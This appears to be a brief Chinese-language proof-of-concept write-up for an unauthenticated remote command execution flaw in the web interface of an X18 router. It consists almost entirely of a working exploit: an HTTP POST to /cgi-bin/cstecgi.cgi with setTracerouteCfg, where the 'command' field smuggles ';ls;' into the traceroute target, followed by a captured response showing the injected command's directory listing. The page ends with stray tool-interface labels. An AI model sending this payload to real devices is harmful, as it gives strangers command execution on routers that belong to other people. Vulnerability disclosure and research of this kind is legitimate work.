下载 X18 最新固件

未授权 rce

POST /cgi-bin/cstecgi.cgi HTTP/1.1

Host: 192.168.5.12

Content-Length: 67

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.5.12

Referer: http://192.168.5.12/advance/traceroute.html?time=1672824037428

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

{"command":"127.0.0.1;ls;","num":"4","topicurl":"setTracerouteCfg"}

Request

Pretty | Raw | Hex

```
1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 192.168.5.12
3 Content-Length: 67
4 Accept: application/json, text/javascript, */*; q=0.01
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0
  Safari/537.36
7 Content-Type: application/x-www-form-urlencoded;
  charset=UTF-8
8 Origin: http://192.168.5.12
9 Referer:
  http://192.168.5.12/advance/traceroute.html?time=167282
  4037428
10 Accept-Encoding: gzip, deflate
11 Accept-Language: zh-CN,zh;q=0.9
12 Connection: close
13
14 {
     "command":"127.0.0.1;ls;",
     "num":"4",
     "topicurl":"setTracerouteCfg"
   }
```

Response

Pretty | Raw | Hex | Render

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Date: Wed, 04 Jan 2023 17:18:29 GMT
4 Server: lighttpd/1.4.32
5 Content-Length: 290
6
7 traceroute to 127.0.0.1 (127.0.0.1), 4 hops max, 38
  byte packets
8 1  localhost (127.0.0.1)  0.095 ms  0.019 ms  0.016 ms
9 ExportSettings.sh
10 ExportSyslog.sh
11 cstecgi.cgi
12 meshinfo.cgi
13 temp_status
14 {
15   "success":  true,
16   "error":  null,
17   "lan_ip": "192.168.0.1",
18   "wtime":  "0",
19   "reserv": "reserv"
20 }
```

Inspect

Request
Request
Request
Request
Respons